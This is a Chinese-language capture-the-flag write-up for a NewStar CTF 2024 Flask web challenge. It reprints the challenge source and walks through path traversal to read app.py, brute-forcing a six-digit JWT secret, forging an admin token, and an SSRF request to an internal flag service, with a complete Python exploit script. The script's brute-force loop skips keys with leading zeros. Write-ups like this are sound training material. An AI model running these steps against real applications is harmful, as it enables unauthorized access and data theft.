NewStar 这“照片”是你吗 web wp
NewStar 这“照片”是你吗 web wp
源码提示:
为什么没有Nginx或Apache就能说明服务器脚本能够处理静态文件?
在一般的 Web 服务器部署中,静态资源(如图片、CSS 文件)通常由 Nginx 或 Apache 这样的服务器专门处理,因为它们效率更高,如果页面上的图标或图片等静态资源能正常显示,说明服务器脚本(如 Flask、Django 等)自己在处理这些文件请求,可以推测应用服务器(如 Flask 自带的开发服务器)可能在直接处理所有请求,包括静态文件。
server显示python和werkzeug,查到跟flask有关,flask的启动脚本,源码一般在app,py里
burp抓包,路径穿越:
为甚么是../app.py,路径穿越需要尝试,这个不行也可以试试../../
显示源码:
from flask import Flask, make_response, render_template_string, request, redirect, send_file
import uuid
import jwt
import time
import os
import requests
from flag import get_random_number_string
base_key = str(uuid.uuid4()).split("-")
secret_key = get_random_number_string(6)
admin_pass = "".join([ _ for _ in base_key])
print(admin_pass)
app = Flask(__name__)
failure_count = 0
users = {
'admin': admin_pass,
'amiya': "114514"
}
def verify_token(token):
try:
global failure_count
if failure_count >= 100:
return make_response("You have tried too many times! Please restart the service!", 403)
data = jwt.decode(token, secret_key, algorithms=["HS256"])
if data.get('user') != 'admin':
failure_count += 1
return make_response("You are not admin!<br><img src='/3.png'>", 403)
except:
return make_response("Token is invalid!<br><img src='/3.png'>", 401)
return True
@app.route('/')
def index():
return redirect("/home")
@app.route('/login', methods=['POST'])
def login():
username = request.form['username']
password = request.form['password']
global failure_count
if failure_count >= 100:
return make_response("You have tried too many times! Please restart the service!", 403)
if users.get(username)==password:
token = jwt.encode({'user': username, 'exp': int(time.time()) + 600}, secret_key)
response = make_response('Login success!<br><a href="/home">Go to homepage</a>')
response.set_cookie('token', token)
return response
else:
failure_count += 1
return make_response('Could not verify!<br><img src="/3.png">', 401)
@app.route('/logout')
def logout():
response = make_response('Logout success!<br><a href="/home">Go to homepage</a>')
response.set_cookie('token', '', expires=0)
return response
@app.route('/home')
def home():
logged_in = False
try:
token = request.cookies.get('token')
data = jwt.decode(token, secret_key, algorithms=["HS256"])
text = "Hello, %s!" % data.get('user')
logged_in = True
except:
logged_in = False
text = "You have not logged in!"
data = {}
return render_template_string(r'''
<!DOCTYPE html>
<html>
<head>
<title>Home Page</title>
</head>
<body>
<!-- 图标能够正常显示耶! -->
<!-- 但是我好像没有看到Nginx或者Apache之类的东西 -->
<!-- 说明服务器脚本能够处理静态文件捏 -->
<!-- 那源码是不是可以用某些办法拿到呢! -->
{{ text }}<br>
{% if logged_in %}
<a href="/logout">登出</a>
{% else %}
<h2>登录</h2>
<form action="/login" method="post">
用户名: <input type="text" name="username"><br>
密码: <input type="password" name="password"><br>
<input type="submit" value="登录">
</form>
{% endif %}
<br>
{% if user=="admin" %}
<a href="/admin">Go to admin panel</a>
<img src="/2.png">
{% else %}
<img src="/1.png">
{% endif %}
</body>
</html>
''', text=text, logged_in=logged_in, user=data.get('user'))
@app.route('/admin')
def admin():
try:
token = request.cookies.get('token')
if verify_token(token) != True:
return verify_token(token)
resp_text = render_template_string(r'''
<!DOCTYPE html>
<html>
<head>
<title>Admin Panel</title>
</head>
<body>
<h1>Admin Panel</h1>
<p>GET Server Info from api:</p>
<input type="input" value={{api_url}} id="api" readonly>
<button onclick=execute()>Execute</button>
<script>
function execute() {
fetch("{{url}}/execute?api_address="+document.getElementById("api").value,
{credentials: "include"}
).then(res => res.text()).then(data => {
document.write(data);
});
}
</script>
</body>
</html>
''', api_url=request.host_url+"/api", url=request.host_url)
resp = make_response(resp_text)
resp.headers['Access-Control-Allow-Credentials'] = 'true'
return resp
except:
return make_response("Token is invalid!<br><img src='/3.png'>", 401)
@app.route('/execute')
def execute():
token = request.cookies.get('token')
if verify_token(token) != True:
return verify_token(token)
api_address = request.args.get("api_address")
if not api_address:
return make_response("No api address!", 400)
response = requests.get(api_address, cookies={'token': token})
return response.text
@app.route("/api")
def api():
token = request.cookies.get('token')
if verify_token(token) != True:
return verify_token(token)
resp = make_response(f"Server Info: {os.popen('uname -a').read()}")
resp.headers['Access-Control-Allow-Credentials'] = 'true'
return resp
@app.route("/<path:file>")
def static_file(file):
print(file)
restricted_keywords = ["proc", "env", "passwd", "shadow", "hosts", "sys", "log", "etc",
"bin", "lib", "tmp", "var", "run", "dev", "home", "boot"]
if any(keyword in file for keyword in restricted_keywords):
return make_response("STOP!", 404)
if not os.path.exists("./static/" + file):
return make_response("Not found!", 404)
return send_file("./static/" + file)
if __name__ == '__main__':
app.run(host="0.0.0.0",port=5000)
我们按着逻辑看看:
首先是/home
@app.route('/home')
def home():
logged_in = False
try:
token = request.cookies.get('token')
data = jwt.decode(token, secret_key, algorithms=["HS256"])
text = "Hello, %s!" % data.get('user')
logged_in = True
except:
logged_in = False
text = "You have not logged in!"
data = {}
return render_template_string(r'''
<!DOCTYPE html>
<html>
<head>
<title>Home Page</title>
</head>
<body>
<!-- 图标能够正常显示耶! -->
<!-- 但是我好像没有看到Nginx或者Apache之类的东西 -->
<!-- 说明服务器脚本能够处理静态文件捏 -->
<!-- 那源码是不是可以用某些办法拿到呢! -->
{{ text }}<br>
{% if logged_in %}
<a href="/logout">登出</a>
{% else %}
<h2>登录</h2>
<form action="/login" method="post">
用户名: <input type="text" name="username"><br>
密码: <input type="password" name="password"><br>
<input type="submit" value="登录">
</form>
{% endif %}
<br>
{% if user=="admin" %}
<a href="/admin">Go to admin panel</a>
<img src="/2.png">
{% else %}
<img src="/1.png">
{% endif %}
</body>
</html>
''', text=text, logged_in=logged_in, user=data.get('user'))
这里其实就是一开始的渲染,我们看到token,jwt和secret_key
看看secret_key
from flag import get_random_number_string
base_key = str(uuid.uuid4()).split("-")
secret_key = get_random_number_string(6)
admin_pass = "".join([ _ for _ in base_key])
users = {
'admin': admin_pass,
'amiya': "114514"
}
basekey是uuid去掉-也就是32位的basekey,根据base_key得到一个密码,这里还给了两个用户,我们访问amiya没发现什么,但是通过抓包,我们发现了token
secret_key从flag来,我们看看路径穿越访问试试:
from flask import Flask
import os
import random
def get_random_number_string(length):
return ''.join([str(random.randint(0, 9)) for _ in range(length)])
get_flag = Flask("get_flag")
FLAG = os.environ.pop("ICQ_FLAG", "flag{test_flag}")
@get_flag.route("/fl4g")
#如何触发它呢?
def flag():
return FLAG
if __name__ == "__main__":
get_flag.run(host="127.0.0.1",port=5001)
提示我们,flag要通过/fl4g访问,同时注意到get_flag.run(host=“127.0.0.1”,port=5001)这里是5001而app.py中是5000
get_random….这个就是根据length去生成,length是6,也就是6位的secret_key
@app.route('/login', methods=['POST'])
def login():
username = request.form['username']
password = request.form['password']
global failure_count
if failure_count >= 100:
return make_response("You have tried too many times! Please restart the service!", 403)
if users.get(username)==password:
token = jwt.encode({'user': username, 'exp': int(time.time()) + 600}, secret_key)
response = make_response('Login success!<br><a href="/home">Go to homepage</a>')
response.set_cookie('token', token)
return response
else:
failure_count += 1
return make_response('Could not verify!<br><img src="/3.png">', 401)
可以看看登录了,这里有个failure_count,其实我一开始还做了爆破,这里做了限制,我们不能爆破登陆了
我们只有一个办法,伪造token
我们不要陷入一个误区,这题关键不在破解密码,而是得到flag,我们耐心继续看完代码
@app.route('/execute')
def execute():
token = request.cookies.get('token')
if verify_token(token) != True:
return verify_token(token)
api_address = request.args.get("api_address")
if not api_address:
return make_response("No api address!", 400)
response = requests.get(api_address, cookies={'token': token})
return response.text
这里的execute首先会验证token然后get一个api_address,然后去返回,这是不是就存在SSRF漏洞,联想到之前的5001
我们可以构建payload:
/execute?api_address=http://localhost:5001/fl4g
来显示Fl4g
这里还需要校验token,我们看看
def verify_token(token):
try:
global failure_count
if failure_count >= 100:
return make_response("You have tried too many times! Please restart the service!", 403)
data = jwt.decode(token, secret_key, algorithms=["HS256"])
if data.get('user') != 'admin':
failure_count += 1
return make_response("You are not admin!<br><img src='/3.png'>", 403)
except:
return make_response("Token is invalid!<br><img src='/3.png'>", 401)
return True
data = jwt.decode(token, secret_key, algorithms=["HS256"])
if data.get('user') != 'admin':
这里我们发现只校验了user是不是admin,根本每校验密码,不需要我们登录,我们这样只需要爆破得到secret_key,伪造一个token就能发了
我们写脚本:
这里参考官解这照片是你吗 | WriteUp - NewStar CTF 2024
import jwt
import time
import requests
url = "http://8.147.132.32:37713/"
req = requests.post(url+"/login", data={"username":"amiya","password":"114514"})
# 我们之前发现cookie里有token,req.cookies.get('token')也行
token = req.cookies['token']
print("获取到的 token:", token)
# def get_number_string(number,length):
# return str(number).zfill(length)
# 爆破key,secret是个6位数
# for i in range(1000000):
# secret_key = get_number_string(i,6)
# try:
# decoded = jwt.decode(token, secret_key, algorithms=["HS256"])
# break
# except jwt.exceptions.InvalidSignatureError:
# continue
for i in range(100000, 1000000):
secret_key = str(i)
try:
decoded = jwt.decode(token, secret_key, algorithms=["HS256"])
print("Secret found:", i)
break
except jwt.exceptions.InvalidSignatureError:
continue
print(f"secret key: {secret_key}")
admin_payload = {
'user': 'admin',
'exp': int(time.time()) + 600 # 10分钟后过期
}
admin_token = jwt.encode(admin_payload, secret_key)
print("伪造的 admin Token:", admin_token)
req = requests.get(url+"/execute?api_address=http://localhost:5001/fl4g", cookies={"token":admin_token})
print(f"flag: {req.text}")
flag{7cc594e1-0b23-48f8-ba0c-4b9e06dcc297}
这里有个jwt工具,记录一下crackjwt
- 感谢你赐予我前进的力量